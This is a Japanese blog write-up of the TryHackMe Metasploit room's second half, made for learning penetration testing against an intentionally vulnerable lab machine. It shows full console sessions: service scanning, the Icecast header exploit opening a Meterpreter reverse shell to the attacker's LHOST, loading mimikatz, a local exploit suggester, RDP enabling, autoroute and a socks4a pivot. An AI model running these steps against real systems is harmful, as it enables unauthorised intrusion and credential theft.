TryHackMe Room:Metasploit 後半
TryHackMeのMetasploit演習、今度は実際にやられマシンにペンテストしてみます。
Metasploitは実際の攻撃にも使えてしまうため、くれぐれも自身の管理下でないNWや端末に対して
許可なく実行しないこと!悪用厳禁!
前半はこちら。
目次
Task5 Move that shell!
ここからやられマシンを立ち上げる。
Metasploitには、nmapを実行し、その結果をデータベースに直接反映する方法があるため、
そのとおり実行してみる。
msf5 > db_nmap -sV 10.10.86.237 [*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-06 16:51 JST [*] Nmap: Nmap scan report for 10.10.86.237 [*] Nmap: Host is up (0.41s latency). [*] Nmap: Not shown: 989 closed ports [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 135/tcp open msrpc Microsoft Windows RPC [*] Nmap: 139/tcp open netbios-ssn Microsoft Windows netbios-ssn [*] Nmap: 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) [*] Nmap: 3389/tcp open ssl/ms-wbt-server? [*] Nmap: 5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) [*] Nmap: 8000/tcp open http Icecast streaming media server [*] Nmap: 49152/tcp open msrpc Microsoft Windows RPC [*] Nmap: 49153/tcp open msrpc Microsoft Windows RPC [*] Nmap: 49154/tcp open msrpc Microsoft Windows RPC [*] Nmap: 49160/tcp open msrpc Microsoft Windows RPC [*] Nmap: 49161/tcp open msrpc Microsoft Windows RPC [*] Nmap: Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows [*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 135.76 seconds
この結果を見ていくと、ポート135番に msrpc
がいることが分かる。
続いて、db_nmap
を実行して格納した結果から、さらに素性を探るため、hosts
を実行する。
msf5 > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 10.10.86.237 Unknown device
うーん、あまり収穫がないので、services
を実行して、実行サービスを確認。
httpとか、netbiosとかも動いていることが分かる。
msf5 > services Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 10.10.86.237 135 tcp msrpc open Microsoft Windows RPC 10.10.86.237 139 tcp netbios-ssn open Microsoft Windows netbios-ssn 10.10.86.237 445 tcp microsoft-ds open Microsoft Windows 7 - 10 microsoft-ds workgroup: WORKGROUP 10.10.86.237 3389 tcp ssl/ms-wbt-server open 10.10.86.237 5357 tcp http open Microsoft HTTPAPI httpd 2.0 SSDP/UPnP 10.10.86.237 8000 tcp http open Icecast streaming media server 10.10.86.237 49152 tcp msrpc open Microsoft Windows RPC 10.10.86.237 49153 tcp msrpc open Microsoft Windows RPC 10.10.86.237 49154 tcp msrpc open Microsoft Windows RPC 10.10.86.237 49160 tcp msrpc open Microsoft Windows RPC 10.10.86.237 49161 tcp msrpc open Microsoft Windows RPC
指示書きを見ると、vulns
を実行しろと言われる。
今はまだ記録がないが、脆弱性が見つかればここに追加されるとのこと。
msf5 > vulns Vulnerabilities =============== Timestamp Host Name References --------- ---- ---- ----------
続いて、Payloadを選択。先程の結果からIcecast streaming media server
が動いているので、
ここではicecast
というPayloadを選択する。
すると、プロンプトにはExploitのフルパスであるexploit/windows/http/icecast_header
が入る。
msf5 > use icecast [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite [*] Using exploit/windows/http/icecast_header
次は、search multi/handler
を実行する。結果から、#
カラムにある番号を指定すれば、
わざわざモジュールの名前を入れずとも使いたいモジュールを選択することができる。
msf5 exploit(windows/http/icecast_header) > search multi/handler Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner 1 exploit/android/local/janus 2017-07-31 manual Yes Android Janus APK Signature bypass 2 exploit/linux/local/apt_package_manager_persistence 1999-03-09 excellent No APT Package Manager Persistence 3 exploit/linux/local/bash_profile_persistence 1989-06-08 normal No Bash Profile Persistence 4 exploit/linux/local/desktop_privilege_escalation 2014-08-07 excellent Yes Desktop Linux Password Stealer and Privilege Escalation 5 exploit/linux/local/yum_package_manager_persistence 2003-12-17 excellent No Yum Package Manager Persistence 6 exploit/multi/handler manual No Generic Payload Handler 7 exploit/windows/browser/persits_xupload_traversal 2009-09-29 excellent No Persits XUpload ActiveX MakeHttpRequest Directory Traversal 8 exploit/windows/mssql/mssql_linkcrawler 2000-01-01 great No Microsoft SQL Server Database Link Crawling Command Execution Interact with a module by name or index, for example use 8 or use exploit/windows/mssql/mssql_linkcrawler msf5 exploit(windows/http/icecast_header) > use 6 [*] Using configured payload generic/shell_reverse_tcp
パラメータの設定をする。Payloadをwindows/meterpreter/reverse_tcp
に指定する。
ローカル側(攻撃元)を示すLHOST
については、ip a
でtun0
に出てくるIPアドレスを指定する。
msf5 exploit(windows/browser/persits_xupload_traversal) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp # LHOSTはtun0のIPアドレスを指定 msf5 exploit(windows/browser/persits_xupload_traversal) > set LHOST 10.4.11.125 LHOST => 10.4.11.125
さて、use icecast
で前に戻り、リモートホスト(RHOSTS)の設定をする。
今回は、やられマシンのIPアドレスを設定する。
msf5 exploit(windows/browser/persits_xupload_traversal) > use icecast [*] Using configured payload windows/meterpreter/reverse_tcp Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite [*] Using exploit/windows/http/icecast_header msf5 exploit(windows/http/icecast_header) > set RHOSTS 10.10.86.237 RHOSTS => 10.10.86.237
show options
で設定を確認する
msf5 exploit(windows/http/icecast_header) > show options Module options (exploit/windows/http/icecast_header): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 10.10.86.237 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 8000 yes The target port (TCP) Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.4.11.125 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic
設定が正しいことを確認して、run -j
かexploit
でいざ実行!
sessions -i SESSION_NUM
で、確立したセッションに入ることができた。
sf5 exploit(windows/http/icecast_header) > run -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.4.11.125:4444 msf5 exploit(windows/http/icecast_header) > [*] Sending stage (176195 bytes) to 10.10.209.46 [*] Meterpreter session 1 opened (10.4.11.125:4444 -> 10.10.209.46:49217) at 2020-09-28 21:05:06 +0900 jobs Jobs ==== No active jobs. msf5 exploit(windows/http/icecast_header) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows Dark-PC\Dark @ DARK-PC 10.4.11.125:4444 -> 10.10.209.46:49217 (10.10.209.46) msf5 exploit(windows/http/icecast_header) > sessions -i 1 [*] Starting interaction with 1... meterpreter >
Task6 We're in, now what?
ということでやられマシンに入れた。さらに探索を続ける。
入ったセッションでps
コマンドを実行してみると、このマシン名はDark-PC
で、
ユーザにDark
という人がいるらしい。いかにも、っていう感じ。
meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 416 4 smss.exe 544 536 csrss.exe 584 692 svchost.exe 592 536 wininit.exe 604 584 csrss.exe 652 584 winlogon.exe 692 592 services.exe 700 592 lsass.exe 708 592 lsm.exe 816 692 svchost.exe 884 692 svchost.exe 932 692 svchost.exe 1020 692 svchost.exe 1056 692 svchost.exe 1136 692 svchost.exe 1312 1020 dwm.exe x64 1 Dark-PC\Dark C:\Windows\System32\dwm.exe 1328 1304 explorer.exe x64 1 Dark-PC\Dark C:\Windows\explorer.exe 1364 692 spoolsv.exe 1392 692 svchost.exe 1432 692 taskhost.exe x64 1 Dark-PC\Dark C:\Windows\System32\taskhost.exe 1540 816 WmiPrvSE.exe 1572 692 amazon-ssm-agent.exe 1648 692 LiteAgent.exe 1688 692 svchost.exe 1840 692 Ec2Config.exe 2100 692 svchost.exe 2280 1328 Icecast2.exe x86 1 Dark-PC\Dark C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe 2584 692 SearchIndexer.exe 2636 692 sppsvc.exe
プロセスに自身を埋め込むには、migrate
コマンドを使うが、権限が足りないので我慢。
権限昇格さえできれば...むむむ...
meterpreter > migrate 1392 [*] Migrating from 2280 to 1392... [-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process (insufficient privileges)
現在のプロセスを実行しているユーザの詳細情報を知るために、getuid
コマンドを使う。
meterpreter > getuid
Server username: Dark-PC\Dark
sysinfo
で、やられマシンの詳細情報をもっと集める。
どうもWindows7 64bit版のマシンに入り込んだらしい。
meterpreter > sysinfo Computer : DARK-PC OS : Windows 7 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows
Mimikatz召喚。
MimikatzはWindowsに使われるポストエクスプロイトツール。
メモリに保存されたパスワード、ハッシュ、PIN,Kerberosのチケット等を抽出でき、
Pass-the-Hash攻撃、Pass-the-Ticket攻撃、Kerberosのゴールデンチケット作成にも使われる。
マルウェアにもこいつが使われることがある。
meterpreter > load kiwi Loading extension kiwi... .#####. mimikatz 2.2.0 20191125 (x86/windows) .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ [!] Loaded x86 Kiwi on an x64 architecture. Success.
現在のユーザの特権を調べるには、getprivis
を使う。
一般ユーザと思われるので、あんまり強い権限はなさそう。
meterpreter > getprivs Enabled Process Privileges ========================== Name ---- SeChangeNotifyPrivilege SeIncreaseWorkingSetPrivilege SeShutdownPrivilege SeTimeZonePrivilege SeUndockPrivilege
もちろん、ipconfig
でIPアドレスの情報も見られる。
meterpreter > ipconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 12 ============ Name : Microsoft ISATAP Adapter Hardware MAC : 00:00:00:00:00:00 MTU : 1280 IPv6 Address : fe80::5efe:a0a:56ed IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 13 ============ Name : AWS PV Network Device #0 Hardware MAC : 02:cf:c4:a8:e7:df MTU : 9001 IPv4 Address : 10.10.86.237 IPv4 Netmask : 255.255.0.0 IPv6 Address : fe80::1c14:c35a:158d:bc17 IPv6 Netmask : ffff:ffff:ffff:ffff::
Metasploitのモジュールを使って、VMかどうかを調査する。
run post/windows/gather/checkvm
を実行したところ、このマシンはVMであることが判明。
meterpreter > run post/windows/gather/checkvm [*] Checking if DARK-PC is a Virtual Machine ... [+] This is a Xen Virtual Machine
さらにもう1つ、特権ユーザになれそうな脆弱性がないか調査する。
run post/multi/recon/local_exploit_suggester
を使う。
meterpreter > run post/multi/recon/local_exploit_suggester [*] 10.10.86.237 - Collecting local exploits for x86/windows... [*] 10.10.86.237 - 34 exploit checks are being tried... [+] 10.10.86.237 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. nil versions are discouraged and will be deprecated in Rubygems 4 [+] 10.10.86.237 - exploit/windows/local/ikeext_service: The target appears to be vulnerable. [+] 10.10.86.237 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 10.10.86.237 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] 10.10.86.237 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [+] 10.10.86.237 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.86.237 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.86.237 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable. [+] 10.10.86.237 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
権限昇格してないのでできないが、強制的にRDPを起動させることも可能。
run post/windows/manage/enable_rdp
を実行してみる
meterpreter > run post/windows/manage/enable_rdp [-] Insufficient privileges, Remote Desktop Service was not modified [*] For cleanup execute Meterpreter resource file: /home/sheep/.msf4/loot/20200906172631_default_10.10.86.237_host.windows.cle_452933.txt
他に、ファイルを転送する時はupload
, Metasploitモジュールを実行したい時はrun
,
通常のshellを実行したい時はshell
が使える。
Task7 Makin' Cisco Proud
Metasploitの自動ルーティングオプションについて勉強する。
これができるようになると、侵入先のマシンでさらにNWがないか探索できる。
使い方は、run autoroute -h
で確認。
meterpreter > run autoroute -h [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Usage: run autoroute [-r] -s subnet -n netmask [*] Examples: [*] run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add a route to 10.10.10.1/255.255.255.0 [*] run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0 [*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay [*] run autoroute -p # Print active routing table [*] run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route [*] Use the "route" and "ipconfig" Meterpreter commands to learn about available routes [-] Deprecation warning: This script has been replaced by the post/multi/manage/autoroute module
例えば、172.18.1.0/24をルーティングに追加したい時は、以下のように使う。
meterpreter > run autoroute -s 172.18.1.0 -n 255.255.255.0 [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 172.18.1.0/255.255.255.0... [+] Added route to 172.18.1.0/255.255.255.0 via 10.10.86.237 [*] Use the -p option to list all active routes
今のMeterpreterセッションをバックグラウンド起動させておいて、
そのセッションからsocks4aプロキシサーバを起動することもできる。
msf5 exploit(windows/http/icecast_header) > search server/socks4a Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/server/socks4a normal No Socks4a Proxy Server
socks4aプロキシ起動後、/etc/proxychains.conf
ファイルを変更して新しいサーバを入れられる。
socks4aサーバーを介してプロキシチェーンでコマンドを実行するためには、proxychains
が使える。
だいぶ長くなったけど、また他のやられマシンで少しずつ慣れていきたい。